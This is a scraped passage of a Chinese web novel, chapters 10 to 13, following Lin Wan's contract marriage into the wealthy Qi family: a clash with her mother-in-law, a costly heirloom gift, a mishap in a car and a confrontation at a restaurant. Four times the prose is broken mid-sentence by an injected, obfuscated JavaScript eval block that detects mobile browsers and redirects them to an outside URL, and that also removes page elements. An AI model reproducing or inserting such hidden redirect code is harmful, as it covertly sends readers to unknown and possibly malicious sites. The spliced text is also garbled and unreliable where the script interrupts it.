也许是祁占山老了,力不从心,吃饭也不爱说话,因此祁家吃饭也不会发出声音。这顿饭吃得林晚紧张又煎熬。 面对着这一桌的满汉全席,还有名厨的手艺,林晚是有心大快朵颐也不敢表现出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359098|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 晚饭过后,文燕莉借机把林晚带去花园,满园绿意盎然,安静里,只有花草微微摇曳,像极了两人揣着的心思。 文燕莉细细打量林晚,这女孩的确是一眼明亮的那种漂亮,明明非常妩媚的脸,可鼻梁却直挺冲破柔弱,硬生生在妩媚中间竖起了一道英气。 正是这份英气让文燕莉很不满意,这是一个并不好拿捏的女孩,而这样的女孩还占着她儿媳妇的身份。 “这盆水晶兰花好看吗?”文燕莉不动声色的问。 林晚扯了个笑:“很漂亮。” “这是南骁当初花了一千多万给老爷子拍回来的。老爷子喜欢的很。”文燕莉修长的指甲轻轻碰了碰花瓣,状似不经意道:“哎呦,这园丁可真不小心,这草就长在兰花边也不知道好好清理下。一颗低贱的草也敢攀附价值连城的兰花?” 她话里有话,林晚心知肚明,她低着头让人看不清神色。 文燕莉见她沉默,扯下脚边一颗草勾起唇角道:“女孩子啊就是草籽命,撒到哪就是在哪生长,幸运的也许落在这价值几千万的兰花边还能有一片肥沃的地还有勤劳的园丁照顾,可也抵不过被人随时拔除的命。小晚,你说是吧?” 林晚心里说,你才是草籽,我是要站在领奖台上唱国歌的女人。 但这样的话,毕竟不能说出口,她垂着长长的睫毛,云淡风轻的回道:“草籽飘到哪,都能坚强的活下来,娇贵的兰花可做不到。” 文燕莉闻言满眼的嫌弃,声音不冷不热的道:“那你呢,你觉得你是草还是花?” 林晚转过头,看着文燕莉道:“我只是我自己。” 文燕莉嗤笑一声,高傲的像只孔雀:“你不会还以为你爸还是国企高管,可以护着你吧?林小姐,你爸已经落马了。你现在自身难保,还要靠着我儿子才能活下去的寄生虫。你有什么可傲气的?” “这里不是你们林家,你爸惯不着你。我劝你早日看清形式,免得整天还以为自己是高干千金。你以为老头子护着你,你就能在祁家站稳脚根?别忘了,你嫁的可是我儿子,我不点头,你就别想进我们祁家的门。” “祁家什么时候是你说了算?” 寂静的花园里,前方传来一声犀利的男声。 林晚听见熟悉的声音,心头咯噔一跳。 祁南骁背着光迎面走来,一身黑色在昏暗里显得格外的沉魅,棱角分明的面孔并不清晰,模糊得让人很没有安全感。 男人径直走入,在林晚身旁站定,眼神淡漠的睨着文燕莉。 “她要是寄生虫,你也没比寄生虫好哪里去。我娶谁喜欢谁跟你没关系,少拿鸡毛当令箭,管好你自己。” 文燕莉气得脸色一阵红一阵青的:“我是你妈,我怎么没资格管你媳妇?” 本以为祁南骁会退让,谁知他俊美的面孔上忽然露出一抹淡淡的嘲讽,抬眸看着文燕莉,一字一句:“你配吗?” 11. 第 11 章 文燕莉被怼得,脸色从惊诧到恼怒,嘴巴张了半天,还没来得及反驳,祁南骁薄唇开启,充满嘲讽和戏谑:“按说,你今天是没资格到老宅的。爷爷给你面子,没把你赶出去,不代表我会给你面子。” 文燕莉怒不可遏,眼前的男人明明是她的亲儿子,却在另一个女人面前不给她面子,一口恶气已经冲上脑门,她不甘心道:“老天真不公平,为什么当初死的人不是你?” “我就不应该把你生下来。” 安静里,只有花草微微摇曳,气氛紧张到令人窒息,林晚不敢出声。 祁南骁侧头看着文燕莉,黑色的瞳孔乍看之下无声无息,可定睛一看是沉甸甸的危险和冷漠,他声音低沉,近乎凉薄道。 “你是为了什么生的我,你自己心里清楚。你在外面仗的势,对我耍过的心眼,我一时不计较,不代表我可以容忍你的得寸进尺。再有下一次,我保证让你情夫生不如死。” 打蛇打七寸,文燕莉的七寸就是她的情夫。听到祁南骁的威胁,她想到之前自己的情夫被人打进医院,到现在都还没醒。 文燕莉心底又气又怕,眼里充满了杀气,但她拿祁南骁没办法。他没有软肋,她根本控制不了他。 气到最后,也只能往回咽,离开之前文燕莉还特意看了眼林晚,眼中有刻骨的鄙夷和愤怒。 林晚看着不动声色,其实心底早就惊涛骇浪,这种母子之间跟仇人一样剑拔弩张的局面,她还是第一次遇到。更别说,这矛盾的导火索还是她。看起来风光无限的祁家,没想到也会有这样辛秘之事。 现在,她知道了祁家这么大的丑闻,也不知道祁南骁会不会把她给‘灭口’突然想起之前在车上,她还觉得祁南骁脾气不错,这下彻底打脸了,祁南骁果然不好惹。 “她的话你不用放心上,做好你自己的事就行,你不需要在意她。”祁南骁点了根烟,脸上的表情不辨喜怒。 这话林晚听懂了,这是变相告诉她,她不用把文燕莉当婆婆敬着。这样也好,她也乐得轻松。 林晚回过神儿,抬起眸,目光清澈的回道:“我明白,您放心,我们是协议结婚,这些都是您的个人隐私。” 她这话也是向祁南骁表明,她不是大嘴巴,没那个到处宣扬他家丑的心。 祁南骁口中吐出一团白色烟雾,深处的眸子定睛看着她,烟雾后的眸子里多了几分欣赏:“跟老爷子说声,走了。” 林晚抬手看了眼手表,八点多,的确该道别了。她点了点头,启动轮椅,跟在祁南骁身后,一直走到长廊转角处,恰好碰见祁梦抱着猫若无其事。 林晚扯了个笑,打了个招呼便先行离开,刚走几米远就听到身后祁南骁跟祁梦说话。 “转性子了,帮了人家不留名?” 祁梦傲娇道:“切,我只是不想咱家被血溅到。” 祁南骁道:“人小鬼大,口是心非。” 林晚唇角微勾,这俩叔侄都一个样,半斤八两。 —— 从祁占山书房出来时,林晚手里多了个盒子。这是祁占山给她的礼物,里面是一套翡翠首饰,有耳环、金镶玉项链还有手镯,无一不古朴。 林晚对翡翠没什么研究,但本能的觉得这些很贵重,不敢手,奈何祁占山很坚持,她也只能暂时收下,日后若是和祁南骁离婚,这些东西好物归原主。 钟霖亲自送她出门,林晚没有错过钟霖看到她手里盒子的那一刻,眼里划过的惊诧和敬重。 林晚垂眸,心中百转千回。 回到内厅时,刚好碰上在这里逗玩的祁梦,林晚走上前去,出声道:“谢谢。” 祁梦抬起头,不明所以。 林晚说:“花园给我搬救兵的事。” 她知道祁南骁是祁梦给叫过去的,否则,老爷子的书房离花园那么远,祁南骁当时在书房怎么会突然出现在花园里? 祁梦撇了撇嘴:“我不是帮你,我是不想我家鸡飞狗跳。” 林晚微笑着说:“不管怎么样,我的确是受到了你的帮助,这声谢是我应该说的。” 祁梦不以为意的抬眸,一双清澈的杏眼落在她身上最后定格在她腿上的木盒了,她的表情当即就愣住了。 林晚还以为她喜欢,把盒子递过去给她看。 祁梦蹙着眉小心翼翼打开木盒,看到里面的东西后,神色复杂的将东西还给林晚:“看来太爷爷是真的喜欢你,都把这个交给你了。” 林晚一时没反应过来。 祁梦目光闪烁,语气客气了不少:“这东西是祖上传下来的,博物馆里的镇馆之宝都没这个珍贵。” 林晚闻言直接倒吸一口冷气,哆嗦着手护住腿上的盒子。 直到上了祁南骁的车,林晚都没回过神儿 祁南骁今晚喝了酒叫了司机开车,他坐在后座,司机很自觉的按下中控,将车子隔绝成前后的独立空间。 林晚一上车,祁南骁就看到她手里的木盒,他眉心微蹙,脸色骤然沉了下来。老爷子明知道他和她是逢场作戏,还把这东西都送给她了,他是什么意思?她把东西拿到他眼前又是什么意思? 祁南骁原本挺好的心情,看到这一幕,瞬间变得警惕起来,他面上不动声色,可眼神儿分明在打量。 林晚一直在紧张,就怕把这盒首饰给磕着了,她挺直背脊,小心翼翼将木盒递给祁南骁:“祁先生,这份礼物实在是太贵重了,我不能收,还请您收回去。” 祁南骁眼眸晦暗不明,面色淡淡,声音却低沉悦耳:“这是老爷子送你的,你就拿着。” 林晚不知祁南骁在套她话,她径自道:“祁爷爷的心意,我会记在心里,祁家在我们林家最困难时候,全力相助,这份恩情我会铭记一辈子。哪怕一年后我们之间的协议解除,祁家有用得着我的地方,我也一定会竭尽所能回报。至于这份礼物...我想以后会有比我更适合它的主人,还请您收回去。” 祁南骁眼底下意识的闪过一丝意外,忽然微微偏头瞄向她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359099|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前后不过几秒钟的光景,祁南骁收回视线,淡淡道:“老爷子既然把它给你,那就是只承认你。” 林晚顿了顿,随即继续回道:“能被祁爷爷认可是我的荣幸。但对我来说,这份礼物背后赋予的含义太过贵重。” 祁南骁侧过头,今晚第二次正眼瞧她,两人在昏暗中四目相对,他开口,声音低沉中带着几分意味深长:“你是我法律意义上的妻子,是老爷子认可的孙媳妇,你是最适合接下这份礼物的人。” 男人的目光直接定格在她脸上,这种目光就像是能将她穿透一样让人浑身不自在,如果这时,她还装糊涂,那她就真的傻了。 林晚扯了扯嘴角道:“我和您之间是协议结婚一年,人贵在有自知之明,这礼物在我手里恐怕不合适。” 说话间,她将盒子再次递了过去。祁南骁视线落在眼前木盒上,古朴的暗红色衬得她的手背白皙修长。 他对被逼着结婚这件事很反感,恨屋及屋,他也将部分情绪牵扯到林晚身上。总是先入为主的觉得她另有目的。但其实这几天接触下来,林晚并没有他想象中的那么讨厌,即便是得了他的人情,也没有得寸进尺。 在他明确表示要还人情时,她也很直接的表达出自己的目的。 她甚至很有分寸,识趣儿,每每和他相处,都表现得绝不给他添麻烦。 思及此处,祁南骁冷俊的面孔,难得勾起唇角,露出一抹微不可见的笑。 林晚拿着木盒,后知后觉祁南骁在套她的话,第一反应是生气,她诚惶诚恐不敢收这份礼物,结果人家以为她在玩欲擒故纵。真是一份真心喂了狗似的。 林晚忍不住在心中腹诽着,然而就在这时,车子一个急刹车,她原本就挺直腰面对着祁南骁,本就因为腿受伤没能平衡住身子,此时被车身惯性甩得她下意识要往前倾。 眼看着手里的木盒就要被甩出去了,林晚本能的保护手里的宝贝,心想着就算自己摔了也不能把宝贝给摔了。 零点几秒的时差里,祁南骁很快伸出左手,一把拉住林晚的胳膊,右手扶着扶手稳住身子,他本就是□□而坐,尽可能让身子保持平衡子。 而林晚则双手死死护着木盒,导致她后倒时更是连手里的盒子一同砸向祁南骁的....裤子中间! “嗯....” 一声沉闷的哼声打破了死一般的寂静。紧接着明显感觉到祁南骁绷紧的手臂松了力,他整个人无力的靠在椅背上,林晚此时半趴在祁南骁的腿上,眼睁睁看着自己手里那个木盒砸中了那个地方。 木盒再怎么说也是硬物,这么砸下去,林晚一个女人都觉得疼。 事发突然,此时的林晚直接吓坏了,不仅是因为自己倒在祁南骁身上,更是因为她砸中了他最脆弱的地方。看着祁南骁疼得青筋爆起,林晚如坐针毡,脸都红了。 “祁先生...”林晚小心翼翼出声,带着浓浓的歉意和试探。 “闭嘴。”祁南骁声音很沉,喘着气,明显还没缓过来。 12. 第 12 章 “抱歉,刚刚前方道路有只宠物犬突然冲到车子前方,不得不紧急刹车。” 前方司机传来的报备声打破了后座独立空间的安静。 林晚此时已经摆正身子,一动不动坐在原位。没人回复司机的话,司机也很有职业素养的切断中控通讯。 后座又恢复死一般的寂静,林晚很是识时务道歉:“对不起,祁先生。” 祁南骁忍着痛,压根没空理她。 林晚很是尴尬,她真不是故意的,那首饰,说句不好听的,比她命还贵。 在那样情况下,她肯定是第一时间保护首饰,谁料祁南骁会出来拉她。 现在好了,‘救命恩人’被她给攻击了,准确来说应该是攻J。 这祸让她闯的,比她被打了还难受。 此时的祁南骁翘着二郎腿,虚虚的靠在座椅上,偏着头把脸埋在车门处,沉默着不说话。 林晚光是看着就很疼。 足足半分钟,那处的疼痛感才渐渐变成可承受的范围,鬼知道祁南骁在这段时间里经历了什么,长这么大,第一次被人攻击到那处,没当场弄死林晚都算他有素质了。 深吸了一口气,祁南骁偏回头,声音低沉中蕴含着怒气:“你什么意思,趁机报复我?” 窗外霓虹灯影影绰绰,祁南骁背着光,哪怕林晚就坐在他身旁,也看不清他眼底的神色,只听出他很生气。 林晚后背发凉,赶忙道:“对不起,我不是故意的。” 就是因为知道不是故意的,祁南骁心中才团着怒意,不能报复回去,憋着又很难受,他冷淡又隐怒的盯着林晚,沉声道:“难不成你还能是有意的?一句不是故意就完了?” 林晚今晚算是领教了祁南骁的臭脾气了,谁说男人不会斤斤计较的,他们计较起来一样难缠。 这事毕竟是她的错,她自知理亏,不敢反驳,这种事她也帮不上忙。 沉默片刻,林晚紧张出声:“那要不要送您去医院?” 祁南骁脸更黑了,声音很冷:“我看你就是成心整我。” 林晚欲哭无泪,她紧紧抱着木盒,想要找点安全感,可下一刻又想到这东西砸到了祁南骁裤子中间,脸骤然红温,把木盒放到椅子中间。 “我真不是故意的,当时那个情形,我怕首饰会出现意外,一心想保护首饰。” 她什么意思,她是保护了首饰,他就活该遭罪?和着,他还没这些首饰重要是吧? 祁南骁拉着脸,不顾林晚的存在点了根烟,尼古丁的味道让他找回几分冷静。 他抬眸,林晚正挺着脊背,微微低头,一副老实人模样,像极了孤零零的兔子。 祁南骁没有动恻隐之心,只是多了三分耐心。 “你什么意思?你的宝贝重要,我的宝贝就不重要?”祁南骁朝着一侧吐烟,其实这会儿已经完全不疼了,但心里还是不想这么轻易放过她。 “不是。都很重要。” 林晚脱口而出后才反应过来他话里的意思,直接红了脸,不是羞的,是尬的。 空气再次安静下来,林晚能感受到祁南骁戏谑的目光。 这话要她怎么接?带他去医院,他不愿意;赔他钱,他最不缺的就是钱。所以,到底要怎样才能放过她? 好在关键时刻,司机给力,车子到达了目的地,将林晚解救出来。 林晚临下车前,看了看那盒首饰,换了个说法拒绝:“今晚的事真的很抱歉,这盒首饰对我来说实在是太贵重了。还是麻烦祁先生将礼物收回去。” 祁南骁侧头看过来,这回是迎着光,路边的灯光映得他五官立体分外精致,精致却并不阴柔,一看就知道不好惹。 他眉心微蹙:“老爷子给你的东西,你让我带回去,你是不给老爷子面子,还是想让我被老爷子教训?” 林晚抿唇,很是纠结:“这些东西放我家里,很不安全,我怕招贼惦记。” 更别说,她家现在已经被调查了,再出现这种东西,还要麻烦另外跟上面汇报一下。 祁南骁抬眸,抽了口烟:“我让人以你的名义在银行开个户,给你存银行去。不管以后如何,至少现在老爷子把它交给你了,它就是你的。” 这样也好,思忖片刻,林晚点了点头:“好。谢谢。” —— 林晚跟祁南骁周旋了一路,回到家豆包就自动凑过来。林晚给它开了包冻干鸡胸肉,让它自己去吃。然后打开电脑,第一件事就是上网查祁家的家世。 网上对祁家的介绍很短,祁家本就是百年世家,可追溯到明朝时期,祁家的祖先在当时就已经是权倾天下的文官。祁家祖先很有先见之明,将家族大部分财产都留在祖地。 一代传一代,到了祁占山的父亲手里也还很富裕。这样的家族,手里有价值连城的古董传家宝也不奇怪。 祁占山的父亲在那个时代就意识到国家要想强大起来,必须要成为工业化强国。也就是那时候开始,他利用自己晚清官员的职位,让祁家在国内办起实业,救国。 到了祁占山手里,更是将家业扩大到海外,那时的祁家在海外已经有了不可撼动的财富。 后来祁占山更是倾尽全力救国,建设国家。 祁家是真正的百年世家大族,祁南骁的那些叔伯堂侄,在各国的总部担任负责人。 而祁南骁则是这一代祁家的真正继承人。资料上显示祁南骁生父意外去世,他还有个亲哥哥也病逝了。 洛梵说过,祁南骁从小就跟他父母感情不好。 经过今晚的事,林晚是彻底见识到了什么是母子成仇。 一个恨不得自己儿子死,一个对自己母亲冷血无情,俩人真不愧是母子,一样的心狠... ‘嗡~嗡~’放在桌子上的手机突然响,林晚正在心里嘀咕祁南骁,被突兀的手机铃惊得心跳都漏了半拍,瞥见屏幕上显示‘祁南骁’三个字,更是有种干坏事被老师捉到的既视感。 她赶紧把电脑合起来,毁尸灭迹,接听手机,行云流水。 “祁先生。” 电话那头沉默几秒,随即冷淡的声音从手机中传出:“你准备一下,就这个星期,送你去医院见你爸。” 林晚前一秒还在调节自己的心情,听到这个消息后,一时间不知道该惊喜还是惊讶,深吸一口气,好几秒才道:“真的吗?” 祁南骁:“嗯,时间选在晚上九点之后。” 林晚紧紧握着手机,鼻间泛酸,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359100|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次出声时竟有些哽咽:“谢谢。” 祁南骁夹着烟的手一顿,脑海里闪过她在哭的念头,他下意识以为林晚没脸没皮惯了,心理素质也该很强大,没想到只是听见要带她去见林国冬就哭鼻子。 一时间握着手机没动,他自己都没发现,指间夹着的烟,燃烬了一大截,直到烟灰往下掉,祁南骁才回过神儿挂了电话。 林晚挂了电话,再也忍不住心中的酸涩,湿了眼眶,她终于可以去见林国冬了。从她去国外比赛训练到现在,她已经快一个月没见过林国冬了。 这一个月里事情一波三折,林国冬离奇自杀,他作为重要的证人更是被严加看管着,即便是他已经成了植物人,有关部/门依然很严格,就连林晚作为家属也不被允许探视。 她还以为还要经过一段时间,才能见到他,没想到祁南骁那边这么快就有了消息。 林晚抱着豆包,又哭又笑,一直绷紧的神经终于可以放松一些了。 手机再次响起,林晚擦了擦鼻涕,滑开接听键:“超子。” 梁子超开门见山的道:“我刚从秦东的饭局出来,刚刚我话里话外跟他打听了下,上面对伯父自杀的事也有存疑,严加看管的意思也是防备有人对伯父下手。不过,东哥也说了,要是你想去见伯父的话,他可以出面运作一下。你看,要不要找个时间请东哥吃个饭?” 林晚心里很感动,在她最艰难的时候,还有这么多好友为她两肋插刀。 林晚发自真心的道:“谢了,超子。” 梁子超道:“害,咱们之间什么关系,说这些干嘛。” 林晚真诚道:“我也不瞒你说,刚刚我爸的朋友才打给我,给我安排好了这几天就能去看望我爸了。秦东那边,还得你替我多谢他。” 梁子超:“那就行,伯父的朋友能安排就再好不过了。你不用管东哥那边,我会去说的。” 林晚:“谢了,周三晚上有时间吗?请你跟洛梵吃个饭。” 梁子超大大咧咧的回道:“那必须的,刚好我从我哥那拿了雍雅楼的卡,咱直接刷他的卡去消费。” 林晚知道,他这么做是想替她省钱。林国冬被调查后,她家就被翻了个遍,自然是没发现有超出违规的东西。 林晚一直都不信林国冬会贪公款,她家条件比绝大多数普通人的好,但要跟那些富人权贵比,那是绝对没得比的。 梁子超跟洛梵是典型的富二代,林晚能跟这俩玩得来也是因为从小学起她们就认识的原故。 如今她家遭变故,这俩死党心疼她,不想她多花钱,林晚记在心里,忍着哽咽说:“好。那就这么说定了。谢了。” “不说这些了,好兄弟是用来干嘛的?当然是一起扛事的!说这些就生分了啊!” “行,我记在心里,偷着乐。” 林晚十岁那年就被林国冬抚养,她刚到京市时,因为口音问题在学校没少被人笑话。是洛梵和梁子超站出来替她撑腰。 这么多年,身边除了最亲的人,就只有洛梵和梁子超是她最信任的人了。 他们一起经历过很多事,是过命的交情。都说患难见真情,这次她和林国冬遭难,他们俩也没少帮忙,这份情,林晚会一直铭记在心。 13. 第 13 章 林晚本以为自己可以在家训练一整天,结果洛梵下午就开着她的大G直冲她家楼下,点名要她陪着一起去逛街 林晚无奈,面无表情的坐上了洛梵的车。 “你要我一个坐轮椅的陪你逛街,说出去,都以为你是虐待我。” 洛梵踩着踏板上了车,她本身才160多一点,长着一张初恋清纯脸,是典型的甜妹,和霸气的大G搭配在一起,莫名有种美女与野兽的既视感。 “你待家里你的腿也不能立马好,还不如跟我一起出去逛街呢。”洛梵一边打开音乐,一边戴上墨镜道:“你是不是忘了,今天是什么日子。” 林晚疑惑:“什么日子?” 洛梵一脸恨铁不成钢:“大姐,你怎么连你自己的生日都忘记了。” 林晚恍然,她还真不记得了。天天睁眼不是训练就是打听林国冬的事,压根没功夫注意到自己生日到了。 洛梵把墨镜往头上一堆,发动车子:“傻了吧,还好有姐姐替你记着。今晚姐姐心情好,带你去shopping。” 随着音箱的DJ伴奏响起,洛梵单手抡着方向盘,忽略她那几乎快贴着方向盘的座位,此时的洛梵还挺酷的。 林晚手肘放在车窗上,半捂着脸:“大姐,你能不能把你那边的车窗关上。” 车内放的是最近抖音上很火的《春庭雪》,是一首很经典的古风DJ。洛梵偏偏还爱降下车窗,动感的旋律迅速惹得左右车子的人都看了过来。 前方恰好是红绿灯,左右车子都刹住车,林晚都能感受到对面那辆布加迪跑车里的炙热目光。 洛梵看了眼,知道林晚尴尬癌犯了,赶紧升起车窗,绿灯亮起,布加迪先一步冲了过去。 “哟,还是方茗泽的车。”洛梵道。 林晚:“你怎么知道?” 洛梵指了指只剩下黑点的前方道:“全京市就他一个人有这辆车,车牌号还是66666,不是方茗泽还能是谁。” 林晚:“方茗泽是谁?”不怪她不知道,林国冬一直不想让她成天泡在一群富二代、管二代圈子里。有意让她远离这些圈子,她对圈子的人都不熟悉。 洛梵脱口而出:“你那塑料老公的狐朋狗友呗!” 林晚:“....”肯定不是什么好人。 —— 五月份的京市,足有三四十度,室外热得跟蒸笼一样,银贸商场的冷气开得十足。 洛梵一身黑色吊带裙踩着7cm的恨天高,看着琳琅满目的衣服,心情舒畅,余光瞥见林晚穿着黑T搭配运动裤戴着口罩坐在轮椅上优哉游哉,无奈道:“你怎么穿得这么死气沉沉?” 林晚:“我这穿搭有什么毛病?” “毛病大着呢,你今天可是寿星,能不能不要搞定这么深沉?” 还不等林晚反驳,洛梵推着她冲进奢侈品店里:“这个、这个还有那个全给我姐妹试上。” 林晚全身都在抗拒,奈何她现在行动受阻,只能任人鱼肉。 一翻收拾过后,林晚被人从试衣间里推出来,一身一字领的修身包臀鱼尾裙,暗沉的酒红色衬得她皮肤白皙如光。 洛梵眼前一亮,指挥服务员给林晚拿高跟鞋。 林晚无奈:“我都坐轮椅了,穿什么高跟鞋。” 洛梵摸了摸下巴,不假思索道:“懂不懂什么叫完美,性感小裙子不搭配高跟鞋,难道要搭你那运动鞋吗?反正你不下地走路,就当穿个漂亮咯。” 林晚无语。 洛梵看着乖乖穿鞋的林晚,尤其是她弯腰的那瞬间胸前的雪白和沟壑,不由得发出‘啧啧’声:“也不知道以后便宜哪个男人,吃得这么好。哎,我要是男人,肯定追你。” 林晚直起腰:“幸好你不是男的,否则,就凭你现在这副色批样子可以去警察局喝一壶了。” 洛梵猝不及防的笑了下,随即收起笑容道:“你这要身材有身材,要长相有长相,没体验下爱情的甜就结婚了,真是浪费了你这副好身材。” 两人大包小包拎着东西往外走,林晚面无表情道:“挺好的,至少不用吃爱情的苦。” 洛梵翻了个白眼:“爱情也不全是苦。” 林晚一本正经道:“嗯,先甜后苦,为了这点甜,前仆后继撞破脑袋也要往里挤,有什么用?结果不都一个样?以为能等到苦尽甘来,殊不知只有吃不完的苦。” 洛梵:“你这也太绝对了,你一个母单怎么对爱情这么绝望。我就不信,你面对你男神时,你没想过跟他一起体验体验爱情?” 林晚神色如常,心底波澜不惊:“你都说是男神了,那是偶像,是榜样,怎能有儿女情长。” 洛梵不理解:“都是男神了,还不想拿下他吗?”她知道林晚心里一直有个男神,当初选择练习击剑也是有一部分受到这个男神的影响。 林晚道:“你会对着你们专业教科书里的人产生爱情这类非分之想吗?” 洛梵:“那些个糟老头子怎么能跟沈怀川比,沈怀川长得多帅啊,一表人才,斯文矜贵。”沈怀川在击剑队里可是赫赫有名的冠军,他没退役前,男子重剑冠军一直都是他。即便现在已经退役了,他给击剑队创造的成绩依然响当当。 林晚一眨不眨地说:“在我心里,他们都是一样的人。” 洛梵突然道:“那要是沈怀川和祁南骁之间选一个人嫁,你还会选祁南骁吗?” 说起这个,林晚忽然又想到那晚攻击祁南骁的糗事,她就心烦意乱,给轮椅加了点速度:“这些假设没意义,赶紧走吧。” 二十分钟后,两人到达雍雅楼。林晚从车上下来,洛梵迅速把轮椅给她放好,然后把蛋糕放她腿上,催促道:“快点,快点,我快不行了。” 林晚无奈:“谁让你没事喝那么多奶茶的。” 洛梵推着她飞快往里跑,那速度比远处驶过来的布加迪跑车还快。 林晚抓着扶手,惊呼:“大姐,我这是轮椅不是跑车。” 一路飞弛,直到厕所附近,洛梵才把林晚放下,自己冲进厕所里。 林晚理了理风中凌乱完的头发,正想打电话给梁子超,问他到了没,就听得身后传来一声:“林晚?” 林晚回头,几秒后,待看清来人时,面色骤变。 李耀文也正推着一个轮椅,轮椅上还坐着另一个男人,看起来三十岁左右,五官秀气,疏着大背头,眼尾带勾,看人的眼神自带魅惑,下意识让人联想到‘轻浮’二字。 李耀文打量着林晚那张令他朝思暮想的脸,眼皮一垂,扫过她身上的装扮,更是心情扭曲:“还真是你,怎么?不当运动员改行来雍雅楼钓凯子了?” 两人面对面,四目相对,林晚面无表情。李耀文双手插兜,眼带戏谑:“大哥,给你介绍下,这位就是大名鼎鼎的林晚。” 轮椅上的男人扬起下巴,眉眼之间带着油腻且恶心的凝视:“就是她害你进了医院的?” 李耀文眼眸微眯,语气嘲讽道:“那可不,这女人可厉害了。白天在国家队当运动员,晚上还要兼职钓男人。” 林晚眼底露出嫌弃,冷冷的看着对面的人:“我看你是好了伤疤忘记疼了。” 李耀文眼眸肉眼可见的染上怒意:“真以为祁南骁帮你一次,你就能上天了?你信不信就算祁南骁帮了你,我也照样你弄你。” 林晚嗤笑,反讽回去:“你有这本事,不还是被祁南骁训狗似的打进医院了。” 这话彻底激怒了李耀文,他忽然快速走到林晚面前,抓住她的手腕,男人的力气是林晚抗衡不了的,她瞬间被李耀文从轮椅上扯了起来,剧烈的动作拉扯到她的膝盖,原本放置在腿上的蛋糕也摔落在地,摔得细碎。她还穿着高跟鞋,压根站不稳,幸好,梁子超及时出现帮了她一把。 “你他妈的谁啊,再敢碰我姐妹试试?”梁子超直接推开李耀文,扶住林晚。 李耀文满嘴脏话:“草,你他妈真是贱,次次都能有男人出来替你出头。你特么陪了多少个男人...” 话音未落,他就被梁子超一拳头给封住了嘴。 洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359101|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梵听到外面吵闹的声音,提了裤子就跑出来,看到现场一片乱,她本能的把林晚护在身后:“你们再敢上前试试?” 轮椅上的男人蹙眉,喊来了其中一个大堂经理,只给对方看了张名片,那大堂经理就立刻安排保镖把梁子超拿下。 梁子超一个人终究斗不过几个职业保镖,他皱着眉道:“别管我,你们先走。去给我哥打电话。” 轮椅上男人笑得一脸猖狂:“把这三个人给我带到包厢里,敢在我面前动粗,我弄死他们。” 大堂经理一脸为难:“这...这不太好吧。” 李耀天眼神冰冷的看了过去:“怎么,连我也使唤不动你们是吧?你不想干,那就换别人来干。” 林晚强忍着内心的愤怒,尽量让自己冷静下来判断眼前局势。梁子超被人按着,动弹不得,她和洛梵两个女人根本打不过一群壮汉保镖。 而这些保镖都听那个轮椅男人的话。能在雍雅楼里命令大堂经理,看样子这个轮椅男人有点身份,可是李耀文又称呼他为哥,他也不像是祁家内部人员。 —— 不远处,正在跟祁南骁通电话的方茗泽忽然顿住脚步,他眼神跟装了雷达似的迅速锁定人群中最漂亮的林晚,直勾勾的看了过去。 林晚也注意到方茗泽的存在,他朝着她勾起唇角,笑得分外妖娆,在这样的局面里显得特别诡异。 方茗泽忽然把手机从耳边拿开,对着林晚的方向打开了视频,对着电话里头的人道:“诶,你猜我看见了谁?” 祁南骁那头正在车里,很是不耐烦的道:“你就是看见仙女,我也没兴趣。” 方茗泽笑得贱兮兮的:“还别说,我还真见着仙女了。还是你的仙女。” 祁南骁闻言这才看向手机视频,只一眼他就顿住视线。 方茗泽唇角一勾,笑着道:“欸,漂亮不?” 祁南骁蹙眉,重点不在这:“她那边发生什么事了?” 方茗泽身后负责VIP包间的陈经理已经了解详情回来了,他恭恭敬敬将事情经过说清楚。 李耀天之所以能指挥得动雍雅楼的人,是因为他拿了文燕莉的卡,专属于祁家人的卡,持有这张卡的人,就能代表祁家人。 一些不知道内情的人一看到这卡就被唬住了,但这个陈经理他是专门负责VIP包间的客人,对祁家的事也是有所耳闻,自然知道那个李耀天什么也不是。 一个给富婆当根的男人,也敢在雍雅楼闹事,还敢冒充祁家人,简直是嫌命长。 